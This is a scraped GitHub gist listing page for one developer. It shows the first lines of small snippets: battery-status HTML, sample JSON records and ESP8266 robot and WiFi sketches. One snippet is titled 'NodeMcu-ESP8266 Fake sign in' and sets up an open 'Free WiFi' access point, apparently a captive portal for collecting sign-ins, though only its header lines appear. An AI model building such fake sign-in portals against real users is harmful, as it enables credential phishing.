Skip to content

Instantly share code, notes, and snippets.

View shahriarshafin's full-sized avatar
🖐️
Hey! Thanks for visiting my profile!

Shahriar Shafin shahriarshafin

🖐️
Hey! Thanks for visiting my profile!
View GitHub Profile
@shahriarshafin
shahriarshafin / battery-information.html
Created December 20, 2023 12:02
Get Real-Time Battery Information with JavaScript
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Real-Time Battery Information</title>
</head>
<body>
[
{
"key": 1,
"name": "রহিম উদ্দিন",
"phone": "01745000000",
"date": "14/06/2023",
"dueAmount": 599
},
{
"key": 2,
[
{
"productId": 0,
"name": "White",
"price": 200,
"stock": 100,
"category": "laptop"
},
{
"productId": 1,
@shahriarshafin
shahriarshafin / datatables-excel-rename-sheet-name.markdown
Created December 28, 2022 20:04
DataTables Excel rename sheet name
// NodeMcu-ESP8266 Fake sign in
// Based on: PopupChat https://github.com/tlack/popup-chat
// Includes
#include <ESP8266WiFi.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>
// User configuration
#define SSID_NAME "Free WiFi"
// Created: 19-oct-19
// Shahriar Shafin
// The bot can be controlled using Shafin_dbot app( WiFi-Hotspot Version )
// Speed controll system is added.
// Everything is ok.
#define ENA 14 // Enable/speed motors Right GPIO14(D5)
#define ENB 12 // Enable/speed motors Left GPIO12(D6)
#define IN_1 15 // L298N in1 motors Right GPIO15(D8)
// updated -> 18-feb-2021 by Shahriar Shafin
#include <ESP8266WiFi.h>
WiFiClient client;
WiFiServer server(80);
const char* ssid = "Network Unavailable";
const char* password = "dontshare";
String data = "";
int leftMotorForward = 2;
int rightMotorForward = 15;
// after uploading open monitor mode and press rst pin
#ifdef ESP32
#include <WiFi.h>
#else
#include <ESP8266WiFi.h>
#endif
void setup(){
Serial.begin(115200);
Serial.println();
// open Serial Monitor and Set baud rate 115200
#include <ESP8266WiFi.h>
WiFiClient client;
WiFiServer server(80);
const char* ssid = "Network Unavailable";
const char* password = "dontshare";
void setup()
{
<!-- https://github.com/ShahriarShafin -->
<!-- https://jsfiddle.net/HwR9N/3/ -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">